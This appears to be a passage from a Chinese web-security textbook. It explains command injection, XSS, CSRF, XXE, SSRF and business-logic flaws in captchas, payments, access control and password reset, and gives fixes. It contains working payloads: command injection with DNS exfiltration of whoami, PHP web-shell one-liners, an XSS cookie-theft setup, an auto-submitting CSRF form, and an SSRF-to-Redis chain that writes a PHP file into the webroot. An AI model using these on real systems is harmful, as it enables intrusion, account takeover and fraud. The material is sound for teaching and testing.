脚本语言常常会因为运行速度慢,而通过外部执行函数去调用一些外部程序。比如,PHP中的system、exec、shell exec等。当服务器对用户输入的命令没有进行限制或者过滤不严时,导致用户可以控制命令执行函数,就会造成用户输入的命令执行漏洞,命令执行漏洞属于高危漏洞之一。
5.2 漏洞利用
5.2.1 常用的命令执行函数
PHP语言下常用的命令执行漏洞函数有exec、system等。
exec函数
exec(string $command[,array &$output[,int &$return_var]]):string
exec()执行command参数所指定的命令,返回命令执行结果的最后一行内容。
echo exec($_REQUEST[1]);
exec执行命令如下图所示。
exec执行命令
system函数
system(string $command[,int &$return_var]):string
执行command参数所指定的命令,并且输出执行结果。
system($_REQUEST[1]);
system执行命令如下图所示。
system执行命令
shell_exec函数
shell_exec(string $cmd):string
通过shell环境执行命令,并且将完整的输出以字符串的方式返回。如果执行过程中发生错误或者进程不产生输出,则返回NULL。
echo shell_exec($_REQUEST[1]);
shell exec执行命令如下图所示。
shell_exec执行命令
5.2.2 Linux命令执行基础
Linux下可以使用“;”直接拼接两条命令,类似的符号详情可参见Linux常用符号及说明。
Linux常用符号及说明
id&&whoami&&pwd
这样就通过“&&”符号拼接了3个命令,最终这3个命令都会被执行。 命令拼接执行如下图所示。
命令拼接执行
5.3 漏洞实战
5.3.1 简单的命令执行
命令执行漏洞在实战中并不少见,可以通过白盒测试、代码审计的方式找到问题所在,最后通过命令执行获取敏感信息或者是getshell。 在常见的功能测试接口中,一般情况下是通过ping的方式去探测能不能访问到目标,此位置便是一次简单的命令执行,如果并未进行任何过滤,就会被恶意攻击者利用。下图为网络功能测试接口页面。
网络功能测试接口页面
执行命令,获取目录下的文件。
127.0.0.1|ls
执行系统命令(一)如下图所示。
执行系统命令(一) 查看目标文件内容。
127.0.0.1|cat index.php
执行系统命令(二)如下图所示。
执行系统命令(二)
5.3.2 无回显的命令执行
上文说的是有回显的命令注入,但是很多访问的目标环境在命令执行之后是无回显的。命令执行如下图所示。
命令执行
命令执行之后并没有附带信息回显内容,仅有ping后的执行操作,无信息回显,可以尝试外带信息。首先在dnslog.cn里申请一个临时域名。申请dns域名如下图所示。
申请dns域名
复制该域名进行利用:127.0.0.1|ping'whoami'.ibvr6s.dnslog.cn,点为拼接,执行命令结果如下图所示。
执行ping命令结果
到dnslog.cn上Refresh Record刷新一下,即可看到外带信息,返回结果如下。
dns外带信息如下图所示。
dns外带信息
6 XSS跨站脚本攻击
6.1 漏洞简介
XSS攻击是指黑客通过特殊的手段向网页中插入了恶意的JavaScript脚本,在用户浏览网页时,利用用户浏览器发起Cookie资料窃取、会话劫持、钓鱼欺骗等攻击。XSS跨站脚本攻击本身对Web服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意URL,当受害者在Web浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行。 造成XSS漏洞普遍流行的原因如下: (1)Web浏览器本身的设计不安全,无法判断JavaScript代码是否含有恶意代码; (2)输入与输出的Web应用程序基本交互防护不够; (3)程序员缺乏安全意识,缺少对XSS漏洞的认知。 XSS触发简单,完全防御起来却相当困难。
6.2 漏洞利用
6.2.1 反射型XSS
反射型跨站脚本(Reflected Cross-site Scripting)也称作非持久型、参数型跨站脚本。反射型XSS只是简单地把用户输入的数据“反射”给浏览器。也就是说,黑客往往需要诱使用户“点击”一个恶意链接,才能发起攻击。 假设一个页面把用户输入的参数直接输出到页面上:
$input = $_GET['param']; echo "<h1>".$input."</h1>";
用户向param提交的数据会显示到<h1>的标签中展示出来,如提交。
http://127.0.0.1/test.php?param=Hello XSS
会得到如下结果。提交普通参数值如下图所示。
提交普通参数值
此时查看页面源代码,可以看到:
<h1>Hello XSS</h1>
此时如果提交一个JavaScript代码:
http://127.0.0.1/test.php?param=<script>alert(233)</script>
会发现,alert(233)在当前页面成功执行。提交恶意JavaScript代码参数如下图所示。
提交恶意JavaScript代码参数
再查看源代码:
<h1><script>alert(233)</script></h1>
用户输入的Script脚本,已经被写入页面中,这就是一个经典的反射型XSS。它的特点是:只在用户浏览时触发,而且只执行一次,非持久化,所以称为反射型XSS。反射型XSS的危害往往不如持久型XSS,因为恶意代码暴露在URL参数中,并且时刻要求目标用户浏览方可触发,稍有安全意识的用户就可以轻易看穿该链接是不可信任的。如此一来,反射型XSS的攻击成本要比持久型XSS高得多,不过随着技术的发展,攻击者可以将包含漏洞的链接通过网址缩短或者转换为二维码等形式灵活运用。
6.2.2 存储型XSS
存储型XSS和反射型XSS的差别仅在于,提交的XSS代码会存储在服务器端(不管是数据库、内存中还是文件系统内等),下次请求目标页面时不用再提交XSS代码。最典型的例子是留言板XSS,下面是一个简单的留言板页面。下图为留言板内容。
留言板内容
可以从代码看出,逻辑很简单,用户前端留言,就可以看到自己的留言信息了,代码中没有任何过滤,直接将用户输入的语句插入了html网页中,这样就很容易导致存储型XSS漏洞的产生。 当攻击者直接在留言板块中插入
<script>alert(“鸡你太美”)</script>,
会导致这条恶意的语句直接插入数据库中,然后通过网页解析,成功触发JavaScript语句,就会导致用户浏览这个网页时一直弹窗。必须从数据库中删除这条语句,才能够停止弹窗。成功插入XSS语句如下图所示。
成功插入XSS语句
此时查看网页源代码:
<b>用户名:</b>蔡徐坤 <b>留言内容:</b><script>alert(‘鸡你太美')</script><br>
存储型XSS的攻击是很隐蔽的,也是危害比较大的,普通用户所看的URL为http://127.0.0.1/test.php,从URL上看是正常的,但是当目标用户查看留言板时,那些留言的内容会从数据库中被查询出来并显示,浏览器发现有 XSS 代码,就当作正常的HTML与JavaScript解析执行,于是就触发了XSS攻击。
6.2.3 DOM型XSS
通过修改页面的DOM节点形成的XSS,被称为DOM型XSS。它和反射型XSS、存储型XSS的差别在于,DOM型XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。 下面编写一个简单的含DOM型XSS漏洞的HTML代码:
<meta charset="UTF-8"> <script> function xss(){ var str = document.getElementById(“src").value; document.getElementById(“demo").innerHTML = “<img src='"+str+"' />"; } </script> <input type="text" id="src" size="50" placeholder="输入图片地址" /> <input type="button" value="插入" onclick="xss()" /><br> <div id="demo" ></div>
功能很简单,用户输入框插入图片地址后,页面会通过<img>标签将插入的图片显示在网页上。JavaScript插入的图片地址显示如下图所示。
JavaScript插入的图片地址显示
同样,这里也没有对用户的输入进行过滤,当攻击者构造“onerror=alert(233)”语句插入的时候,得到如下效果。 img的XSS语句构造如下图所示。
img的XSS语句构造
会直接在<img>标签中插入onerror事件,该语句表示当图片加载出错的时候,自动触发后面的alert()函数,来达到弹窗的效果,这就是一个简单的DOM型XSS漏洞攻击的例子
6.3 漏洞实战
之前内容说到XSS可以获取Cookie,结合JavaScript代码进行盗取,最后通过获取到的Cookie伪造受害者登录,那具体怎么操作呢? 先看看目标环境,是一个QQ站点,不过这是一个钓鱼网站。 简易的XSS站点如下图所示。
简易的XSS站点
当我们输入账号密码登录后,会发现页面跳转到了官网,再次登录肯定是没问题的,能够成功登录。 页面跳转地址如下图所示。
页面跳转地址
该系统存在后台管理员登录界面,登录查看,结果如下。 后台登录页面如下图所示。
后台登录页面
在这里能够看到,通过这个平台登录的每一个账号,当我们输入正确的账号密码进行登录时,网站后台便会记录内容,从而导致账号密码泄露。后台数据页面如下图所示。
后台数据页面
逆向思维,如果后台管理员能够看到登录时所使用的信息,其效果和留言板类似,所以可以利用XSS漏洞盗取管理员的Cookie。 本地搭建Cookie接收平台,这里使用的是从github上下载的模板。创建的XSS模板如下图所示。
创建的XSS模版
在“我的JS”中,选择想要的模板,写入攻击者的IP地址,这里的IP地址是被攻击者能够访问到的。最后保存环境,点击生成payload,然后弹出攻击链接。 生成XSS的payload如下图所示。
生成XSS的payload
在留言板中写入恶意JavaScript地址,提交后,等待管理员访问。 插入XSS的payload如下图所示。
插入XSS的payload
当管理员访问后,Cookie接收平台便能接收到带有Cookie的邮件,通过Cookie添加工具添加Cookie,访问后台地址,成功登录。 Cookie登录成功如图4-93所示。
Cookie登录成功
7 CSRF跨站请求伪造
7.1 漏洞简介
CSRF跨站请求伪造漏洞指的是,攻击者盗用了他人的身份,以个人的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,如以个人的名义发送邮件、消息,盗取你的账号,添加系统管理员,甚至购买商品、虚拟货币转账等,这里可以类比成语:借刀杀人,在CSRF中,这把“刀”就是被攻击者的Cookie信息,用被攻击者的Cookie来发起攻击。
7.2 漏洞利用
7.2.1 GET型CSRF
如果一个网站某个地方的功能,如用户修改邮箱是通过GET请求进行修改的,如:
/user.php?id=1&email=123@163.com
这个链接的意思是用户ID=1将邮箱修改为123@163.com。当攻击者把这个链接修改为:
/user.php?id=1&email=abc@163.com
然后通过各种手段发送给被攻击者,诱使被攻击者点击此链接,当用户刚好在访问这个网站,并且点击了这个链接,那么悲剧就发生了。这个用户的邮箱被修改为abc@163.com。 这就是一个经典的GET型CSRF攻击的过程,可以看到CSRF攻击需要管理员参与进来,所以诱骗和钓鱼是必不可少的步骤。
7.2.2 POST型CSRF
POST型CSRF攻击要稍微烦琐一些,需要攻击者自己构造表单信息:
<form action=/coures/user/handler/25332/buy method=POST> <input type="text" name="xx" value="xx" /></form><script> document.forms[0].submit(); </script>
假设上述是一个恶意的表单提交操作,可以将这个表单保存为html后缀的文件,然后上传到服务器上,当管理员访问到这个html文件的时候就会自动触发表单操作,这就是POST型CSRF的攻击流程。 POST型CSRF攻击的难点在于表单的构造,实际渗透测试的时候可以使用Burpsuite直接生成,在抓包的时候,点击鼠标右键,可以直接生成一个CSRF的表单,这个时候只需要将这个表单发给被攻击者,然后被攻击者去访问触发即可。构造CSRF表单如下图所示。
构造CSRF表单
又因为Burpsuite生成的表单默认是有提交按钮的,所以被攻击者必须点击这个按钮才可以触发构造好的表单内容,这一点是钓鱼攻击的发起者不希望的,所以攻击者需要二次修改表单,让攻击的过程更加顺利,在表单当中添加如下代码:
<script> document.forms[0].submit(); </script>
这表示当访问到这个页面的时候会自动触发表单,大大提高了CSRF的成功概率。 CSRF表单效果如下图所示
CSRF表单效果
7.3漏洞实战
由于CSRF常见于论坛功能模块,攻击者可利用一个简单的留言平台来模拟实现CSRF攻击,构造表单。action指向的是用户注册页面。
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://10.20.24.244:83/?user-create.htm" method="POST"> <input type="hidden" name="email" value="aaa@qq.com" /> <input type="hidden" name="username" value="aaa" /> <input type="hidden" name="password" value="aaa" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
插入CSRF表单如下图
插入CSRF表单
主题发表成功,结果如下。 发表带表单链接的主题如下图所示。
模拟登录管理员账号,转到test用户发表的链接。 模拟用户点击链接如下图所示。
模拟用户点击链接
返回成功,实现CSRF钓鱼攻击,结果如下。 CSRF攻击成功如下图所示。
CSRF攻击成功
在admin的后台发现该用户已经被注册成功。 用户被成功注册如下图所示。
用户被成功注册
8 XXE XML实体注入
8.1 漏洞简介
XXE注入攻击也称XML外部实体注入攻击,当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。 通常攻击者会将payload注入XML文件中,一旦文件被执行,将会读取服务器上的本地文件,并对内网发起访问扫描内部网络端口的请求,换言之,XXE是一种从本地到达各种服务的方法,和SSRF具有类似的表现形式。
8.2 漏洞实战
XXE一般可能存在于用户登录模块,尝试用下面实例进行XXE攻击。打开一个简单的登录页面,如下图所示。
简单的登录页面
使用burpsuite进行抓包,发现数据发送格式是XML文本。 抓取数据包如下图
抓取数据包
尝试利用XML模版注入读取/etc/passwd文件,最终成功读取文件内容。 读取/etc/passwd文件如下图所示。
读取/etc/passwd文件
9 SSRF服务端请求伪造
9.1 漏洞简介
SSRF(Server-Side Request Forgery)服务器端请求伪造是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。 SSRF形成的原因是,由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如,从指定URL地址获取网页文本内容,加载指定地址的图片、下载文件等。 利用SSRF漏洞可以用于攻击内网主机,如内网扫描、内网主机端口扫描等,也可以用于窃取信息,获取内网其他主机上的数据文件等。
9.2 漏洞利用
9.2.1 SSRF的危害
获取出口IP 利用站长工具的查询 IP 功能,可以让百度翻译访问站长之家,然后获取百度翻译的出口IP。 查看百度出口IP如下图所示。
查看百度出口IP
获取本地文件信息 可以直接配合FILE协议进行本地信息的获取。FILE协议读取/etc/passwd如下图所示。
FILE协议读取/etc/passwd
获取内网Web资产信息 如果知道内网Web资产信息,可以尝试直接使用HTTP协议请求内容的Web资产。 HTTP协议读取源代码如下图所示。
HTTP协议读取源代码
探测内网端口信息 这里的端口是有限制的,必须带Banner回显才可以探测出来。 探测目标Web端口信息,DICT协议探测端口如下图所示。
DICT协议探测端口
探测目标FTP端口信息,DICT协议探测FTP服务端口如下图所示。
DICT协议探测FTP服务端口
探测目标SSH端口信息,DICT协议探测SSH服务端口如下图所示。
DICT协议探测SSH服务端口
探测目标MySQL端口信息,DICT协议探测MySQL服务端口如下图所示。
DICT协议探测MySQL服务端口
9.2.2 SSRF的相关协议
1.FILE协议 FILE本地文件传输协议,主要用于访问本地计算机中的文件。
file:///path/
2.HTTP协议 HTTP超文本传输协议,是基于TCP/IP的用于传输超媒体文档应用层的一种协议。
http://serverip:port/
3.DICT协议 DICT字典服务器协议,是基于查询响应的TCP协议。
dict://serverip:port/data
4.Gopher协议 Gopher协议是HTTP协议出现之前,在Internet上常见且常用的一个协议,不过目前已经慢慢淡出历史。因为Gopher协议支持多行,所以可以做很多事情,特别是在SSRF中可以发挥很多重要的作用。利用此协议可以攻击内网的FTP、Telnet、Redis、Memcache,也可以进行GET、POST请求。
gopher://<host>:<port>/<gopher-path>_
9.3 漏洞实战
目标网站存在发起请求的功能,这个功能很可能存在SSRF漏洞。 存在SSRF漏洞的页面如下图所示。
存在SSRF漏洞的页面
尝试使用FILE协议读取本地的/etc/passwd文件:
file:///etc/passwd
成功读取到本地的/etc/passwd文件。 FILE协议读取/etc/passwd如下图所示。
FILE协议读取/etc/passwd
尝试使用DICT协议探测常见的端口,DICT协议探测常用端口如下图所示。
DICT协议探测常用端口
发现6379端口是开启的,试验带入info尝试能否成功执行。 获取redis的info信息如下图所示。
获取redis的info信息
成功执行后,接下来尝试直接使用DICT协议来配合redis未授权访问漏洞getshell:
url=dict://127.0.0.1:6379/flushall url=dict://127.0.0.1:6379/config set dir/var/www/html/url=dict://127.0.0.1:6379/config set dbfilename info.php url=dict://127.0.0.1:6379/set x '\n\n\n<?php phpinfo();?>\n\n\n' url=dict://127.0.0.1:6379/save
图4-115为通过ssrf来getshell,结果成功getshell。
通过ssrf来getshell
10 业务逻辑漏洞
10.1 验证码安全
验证码的作用是防止攻击者进行暴力破解,如常见的验证码用来防止机器批量注册、机器批量发帖回复等,为了防止用户利用机器人自动注册、登录、灌水等,大部分网站都采用了验证码技术。随着很多重要业务往Web上迁移,现在很多关键的敏感操作也是需要验证码来进行认证的,验证码安全性也逐渐被重视。
10.1.1 验证码过于简单
验证码就是每次访问页面时随机生成的字符串或图片,内容一般包含数字和字母,也有可能是字符或中文,验证码的形式多种多样,需要访问者正确识别并提交,才会触发表单认证机制,这样就有效地防止了暴力破解。但是有时候往往过于简单,很容易被验证码识别引擎或者接口识别出来,进而导致攻击者依然可以正常使用机器进行批量操作。 以乌云的一篇文章为例子,白帽子发现网站登录的验证码非常简单。 带验证码的登录模块如下图所示
带验证码的登录模块
使用一些简单的验证码识别工具可以很轻松地识别出对应的验证码,识别率可高达99%,最后成功破解了几个账号,尝试登录到目标系统
通过爆破获取账号如下图所示。
通过爆破获取账号
这类安全漏洞实际上是程序员开发的时候没有考虑到会有恶意用户来识别验证码并实施爆破,加固方法也比较简单,就是提高验证码的复杂度。提高验证码的复杂度有很多方法,常见的有字体扭曲、背景色干扰、字体粘连、背景字母干扰、字体镂空、公式验证码、字体混用、加减法验证码、主题干扰线、逻辑验证码等。
10.1.2 数字暴力破解
平时注册账号、修改验证码、安全认证登录等方面都需要用到验证码,很多系统为了让用户体验度更佳,只设置了4位数字的验证码。这种4位数字的验证码在方便用户的同时,也带来了安全风险,如攻击者发现4位数字的验证码,第一反应可能就会思考这个验证码是否可以进行暴力破解。 在2015年左右,验证码刚刚推广普及时很多厂商的验证码都是4位数字,这个时候攻击者可以使用Burpsuite来爆破验证码,从0000~9999这个范围内开启多线程爆破,5分钟左右都是可以顺利爆破成功的。下图为暴力破解验证码。
暴力破解验证码
上图就是早期微信任意用户密码修改漏洞的一个例子,攻击者成功地重置了对方的微信密码。 这种情况下加固也比较简单,开发者设计短信验证码的时候尽量用6位数字,并且设置验证码失效时间,也可以尝试增加验证码输错次数限制,增加黑客攻击难度。
10.1.3 验证码不失效
大多数验证码的生命周期是这样的:用户访问验证码页面或者接口→生成Code并保存到 Session中→用户提交验证代码→用户提交的值和服务器的值做对比,但是在某些情况下,黑客可以不访问验证码接口,直接提交之前的旧验证码就可以绕过。 下面是一个常见的登录窗口,除要输入用户名和密码外,还需要用户输入正确的验证码,当验证码输入错误时会提示验证码输入错误。 验证码输入错误页面如下图所示。
验证码输入错误页面
但是经过渗透测试,这个登录处存在SQL注入漏洞,使用SQLMap可以直接注入测试,其中需要注意一个小细节,就是使用Burpsuite抓取登录的数据包时这个包不要放掉,不然验证码会失效,导致注入失败。如果放掉了,需要去网页上看新的验证码然后再手动修改之前验证码参数的值。 最后,将这个抓取到的数据包放到SQLMap中便可以正常进行SQL注入测试。本登录功能出现的逻辑问题就是验证码没有失效,只要攻击者不再次请求验证码的接口,使用旧的验证码依然可以正常进行登录验证。要想修复这种问题,应该在代码处添加如下功能:验证码生成使用过1次后就立即失效,而不是根据用户是否发起新的验证码请求来决定验证是否失效。
10.1.4 验证码直接返回
开发者不严谨,导致抓包可以看到验证码在回显的HTTP响应包中显示,由于验证码能直接返回,因此可以通过该漏洞注册任意用户、重置已注册用户密码、修改绑定信息等高危操作,对用户造成一定影响。 早期很多Web应用还不成熟的时候容易出现这种问题,到后来Android开发刚刚流行的时候也容易见到这一类问题,在返回包中验证码可以直接看到。 抓包获取验证码如图下所示。
抓包获取验证码
验证码放在客户端中直接返回,说明是把网站的验证功能放在了客户端来进行校验,攻击者只需要进行简单的抓包就可以知道正确的验证码应该是什么,所以就直接突破了验证码的认证功能。类似的很多经典的安全漏洞都是由于过分信任客户端操作而产生的。正确的加固方法应该是在代码后端来校验验证码是否正确,而不是这样直接在响应包中返回。
10.1.5 验证码首次绕过
很多网站为了方便用户,设置了第一次登录无须验证码,当用户第一次输入失败的时候,才需要输入验证码。但判断用户是否第一次登录的依据是什么呢?很多开发者并没有搞清楚,因此造成了验证码“绕过”问题。 有一部分开发者通过Session信息来判断是否启用验证码,但攻击者可以每次访问前都清掉Session,这样就造成绕过验证码漏洞。 下面这个系统就是这样一种情况,第一次输入无须验证码,但是第二次只输入用户名和密码的时候就提示需要输入验证码。抓取登录页面的数据包如下图所示。
抓取登录页面的数据包
既然第一次不需要输入验证码,是不是能让服务器觉得每次提交都是第一次呢?围绕这个目标,经过多次推理和测试,终于发现判断是否显示验证码的规则是通过服务器的Session信息来判断的,所以每次提交的时候顺便修改掉Cookie中的PHPSESSID的值就可以成功绕过验证码的限制了。 更改PHPSESSID值绕过如下图所示。
更改PHPSESSID值绕过
Session是基于Cookie来保持会话的,每次提交数据的时候都更改Sessionid,这样服务器在判断Session信息时,就不知道前台提交的是多次提交过的数据,也就不需要验证码来验证了。 在开发类似功能的时候,不要使用单一维度来界定,应使用多维度来判断,比如用户的IP地址、登录的用户名、操作的频率次数等多方面因素,多重判定防止“绕过攻击”。
10.2 支付漏洞
随着移动支付的普及,越来越多的人习惯在网上购物,大量的电商网站也都可以用在线支付完成交易。而在线充值必然涉及在线支付的流程,这里面存在很多逻辑问题。由于涉及金钱,如果设计不当,很有可能会产生诸如0元购买商品之类的严重漏洞。
10.2.1 金额数据直接修改
一些购物网站在支付时使用前端传过来的金额,并且没有对金额进行验证,导致金额数据篡改的产生,而正常的操作应该是在后端计算订单金额。 在购买或充值的位置做测试,如对提交订单的请求进行抓包,如果里面有金额字段,就修改金额等字段,如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。 攻击者在购买商品的时候直接修改提交数据包中的价格,修改数据包如下图所示。
修改数据包
接着可以直接修改掉最后付款的总价,订单金额被修改的例子如下图所示。
订单金额被修改的例子
如果此时后端只校验订单是否支付成功,那么这里就是一个经典的金额数据篡改案例了。开发者修复此类问题的时候要做好多重校验,当金额数据被篡改的时候及时抛出异常,禁止订单交易继续进行。
10.2.2 商品数量修改
除了直接修改商品的金额这种情况,还有一个情况就是直接修改商品的数量。购买商品的时候通常有一个数量选项,用户可以对商品的数量做加减,通常会在前端限制商品不能为0,但是开发者在后端却没有做出相应限制,这就可能导致攻击者可以通过修改数据包造成商品数量小于1的情况发生。 下面是一个购买上面要提交的POST数据包信息:
car_pid[]=678&car_pnum_678=1&car_pid[]=60&car_pnum_60=1&buy_type=2 car_pid[]=678&car_pnum_678=-19&car_pid[]=60&car_pnum_60=1&buy_type=2
很明显一个是商品ID,另一个是数量,抓包修改数量把1元的价格修改成-19元,最后修改成功。 订单金额修改成功如下图所示。
订单金额修改成功
最后订单提交的时候总金额只需要1元就可以买到原价21元的商品。解决这类安全问题和上面防范金额被篡改的方法差不多,都是多重校验,应关注商品数量中途是否被篡改过,以及时终止异常订单。
10.2.3 运费金额修改
在支付漏洞中,除了直接修改商品金额或者间接修改商品数量,还有一些影响订单总价的参数也可以关注一下,如运费金额或者优惠券等参数。 购买商品经常还包含运费信息,产生的运费有所不同,运费如果是前端提交的金额,不经过后端处理验证,那么就很可能产生此漏洞。 下面是一个修改运费的案例,发现提交订单的时候支持选择配送方式,但是配送方式的金额不可以被修改,有验证。不过配送运费却没有校验,只要商品费用+配送运费总价不低于0都可正常提交,结果修改运费为负数。 修改订单运费如下图所示。
修改订单运费
商品费用+配送运费两者相加恰好为1元满足不低于0元的情况。所以最后也成功提交了订单。 成功修改订单金额如下图所示。
成功修改订单金额
10.3 账户越权
用户越权从字面意思理解就是用户可以操作超出自己管理权限范围的功能,主要原因是开发者在对数据库进行CRUD(Create,Read,Update and Delete)时,对客户端请求的数据遗漏了对权限的判定。 大多数Web应用系统都具备权限划分和控制,但是如果权限校验存在问题,攻击者就可以通过这些问题来访问未经授权的功能或数据,这就是通常所说的越权漏洞。 我们一般将越权漏洞分为三种:未授权、水平越权、垂直越权。
10.3.1 未授权
开发者未考虑到用户是否经过登录或者认证的情况下直接返回敏感数据,我们称之为未授权访问漏洞。假设有一个URL如下:
http://x.x.x.x/getUserInfo.php?uid=100
在这个URL中可以看出后端通过uid参数值返回相应的用户信息。如果这个接口没有做用户登录验证或者管理员的身份验证,那么所有人都能访问到,很有可能导致用户信息被遍历并输出。下面看一个案例: 首先使用谷歌语法搜索到目标网站的后台,搜索登录后台如下图所示。
搜索登录后台
接着点击访问,发现可以直接进入后台,并可以进行一些后台操作。下图为攻击者成功访问后台页面。
攻击者成功访问后台页面
出现这种问题的原因在于,开发者开发后台的时候没有校验当前用户权限是否满足要求,没有做好权限的统一判断,造成了未授权访问漏洞的产生。
10.3.2 水平越权
水平越权指的是攻击者尝试访问与他拥有相同权限用户的资源。水平越权通常可查看其他用户信息,修改其他用户资料等操作。比如,酒店会员系统,可查看其他用户的酒店订房订单信息;博客系统,可查看其他博主私人博文等信息。 下面来看一个水平越权的案例,查看订单数据抓包发现修改返回包信息可以直接查看到其他订单的返回数据包。 查看其他订单信息如下图所示。
查看其他订单信息
此时修改goodOrderID参数后发现返回了另一个订单的详细数据信息。 这个地址被用户访问后,后端的逻辑会去查询数据库,可以猜测查询的SQL语句是这样的:
select*from order where goodOrderID = 7708433
这种订单遍历的危害巨大,攻击者可以轻易地使用Burpsuite来进行订单 ID 的遍历,这样短时间内可获取到大量的订单信息。开发者修复此类漏洞的方法也是要做好权限判断,每个订单设置好对应用户的访问权限,当用户尝试访问其他订单信息的时候及时进行拦截,并提示非法访问之类的信息。
10.3.3 垂直越权
垂直越权指的是一个低权限攻击者尝试访问高权限用户的资源。如果普通用户能利用某种攻击手段访问到高权限的功能,那我们就称之为垂直越权。下面来看一个乌云ID为wooyun-2014-084657垂直越权的案例。 程序对用户权限的控制仅仅是让用户界面中不出现相应的菜单及功能模块,但是用户可以通过修改菜单ID的方式访问其他权限的系统内容,属于垂直越权操作。例如,使用audit审计用户登录系统,在点击菜单时,将识别参数修改为system.admin。下面是通过修改get参数来实现越权。 修改get参数如下图所示。
修改get参数
这时,audit用户就拥有了修改管理员信息及权限的能力,还可以发现,修改参数后进入管理员管理界面截图的功能增强了很多。 防火墙后台管理页面如下图所示。
防火墙后台管理页面 上
述就是一个非常典型的案例,普通用户通过修改 HTTP 参数即可实现权限的提升。类似的这种越权就叫垂直越权,常见于普通用户权限提升到管理员权限,开发者要修复这种漏洞需要实时增加权限判断检测,发现当前用户权限不够时,及时终止程序运行,防止越权的事件发生。
10.4 密码重置
密码找回功能本意是为那些忘记密码的用户设计的,以便他们能够找回自己的密码。但是由于程序员开发逻辑问题,可能会导致其他普通用户也可以重置任意用户密码的漏洞产生。密码重置漏洞的实际出现场景也比较多,下面就来梳理一下。
10.4.1 验证码不失效
找回密码的时候获取的验证码缺少时间限制,仅判断了验证码是否正确,却没有判断验证码是否过期,这样攻击者可以通过穷举的手段在短时间内尝试大量的验证码。 测试这种漏洞的时候,抓取关键的重置数据包,然后通过枚举找到真正的验证码,输入验证码完成验证。输入目标手机号,获取验证码随意输入验证码0004点击提交,拦截数据包,如果不是失效就直接使用Burpsuite来穷举验证码即可。 Burpsuite穷举验证码如下图所示。
Burpsuite穷举验证码
这种验证码不失效的情况在早期容易出现,不过现在已经非常少见了,而且也很少有简单的4位验证码了。现在绝大多数的业务场景都使用了6位数的验证码并且设置了15分钟有效期,这样爆破的可能性就非常低了。
10.4.2 验证码直接返回
这种情况的验证码使用场景如下:输入手机号后点击获取验证码,验证码在客户端生成,并直接返回 HTML文件中或者网页的响应包中,以方便对接下来的验证码进行对比。 挖掘这种漏洞,需要走一遍验证码流程,首先输入目标手机号,点击获取验证码,并观察返回包即可。在返回包中得到目标手机号获取的验证码,进而完成验证,重置密码成功。下面是通过获取返回包中的验证码成功完成验证的实例。 重置任意手机号密码如下图所示。
重置任意手机号密码
早期互联网上这种漏洞案例非常多,有的甚至直接在返回包中返回了密码相关的值,这个值可能是明文的也可能是旧密码的MD5值,但是如果登录认证也需要加密值或者MD5过于简单可以破解的情况下,那么攻击者就可以直接使用返回包中的字符串来登录目标系统。 返回包存在用户登录信息如下图所示。
返回包存在用户登录信息
10.4.3 跳过验证步骤
这种漏洞产生的原因是关键的修改密码步骤没有做校验,导致用户可以直接输入最终修改密码的网址,跳转到该修改密码的页面,然后输入新密码达到重置密码的目的。 访问http://.../a/user/findPasswordSetp 直接跳到重置密码的页面,从而跳过验证码校验,效果如下图所示。
跳过验证码模块重置密码
挖掘这种漏洞的方法如下,首先需要使用自己的账号走完一遍密码重置的流程,记录一下每个步骤的页面的关键链接或数据包,重点记录关键修改密码的链接。尝试重置他人用户的密码时,获取验证码后,尝试直接输入前面的关键修改密码的链接,如果顺利会跳转到设置新密码的界面,输入密码重置成功。
10.4.4 手机号未绑定用户
某些系统可能在设计之初,并没有将用户名、手机号、验证码三者进行统一的验证。在找回密码的时候仅判断了三者中的手机号和验证是否匹配和正确,如果正确则判断成功并进入下一阶段的密码重置流程。 下面看一个这种漏洞的攻击场景,漏洞触发过程如下图所示。
漏洞触发过程
点击找回密码,首先我们输入其他人的用户名,然后点击获取验证码,这个时候把接收验证码的手机号修改为我们自己的号码,一般情况下修改手机号是在Burpsuite抓取的数据包中进行修改的,然后输入我们自己的手机号来接收验证码,如果接收成功填写验证码,顺利的话就会成功跳到重置密码的页面,密码重置成功。
10.4.5 修改密码ID替换
修改密码的时候,没有对原密码进行判断,并且直接根据用户的ID值来修改用户的密码,类似的SQL语句如下:
update user set password="qwer1234" where id = '1'
这种情况下修改数据包里的ID值,即可修改目标ID所对应用户的密码。下面就是修改密码的一个关键数据包:
POST/Index/user/userinfo.html HTTP/1.1 Host: 192.168.8.31:8088 Content-Length:63 Cache-Control:max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://192.168.8.31:8088 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 UBrowser/6.1.2107.202 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.8.31:8088/Index/user/userinfo.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=28af1649bcbcb0e0dd83 afa017691a03; __sticket=hKdyp310daeBfKWqgnimZoB2zrKwespkfaaV m4KKpN-Fp3tokWJ-YJeQqWOXe9mpf5-br8dox6SUlX_Rgn2t05GVpZ6Jqo aqg3zMoY-rnnM.6.a. id=5&user_name=kefu1&password=123456&n ame=kefu123&email=&phone=
这里的ID和kefu1所在参数user name并没有去判断是否为同一个用户,所以这里修改ID时是可以任意修改其他用户密码的。 成功修改任意用户密码如下图所示。
成功修改任意用户密码 这里在不修改user name的情况下,只修改ID值就能重置其他用户的密码。这种漏洞危害巨大,可以通过枚举用户的ID值来大批量重置枚举得到的用户密码,因为不需要用户名,只需要知道ID值即可重置密码,而且一般这种情况下还很可能会存在SQL注入漏洞
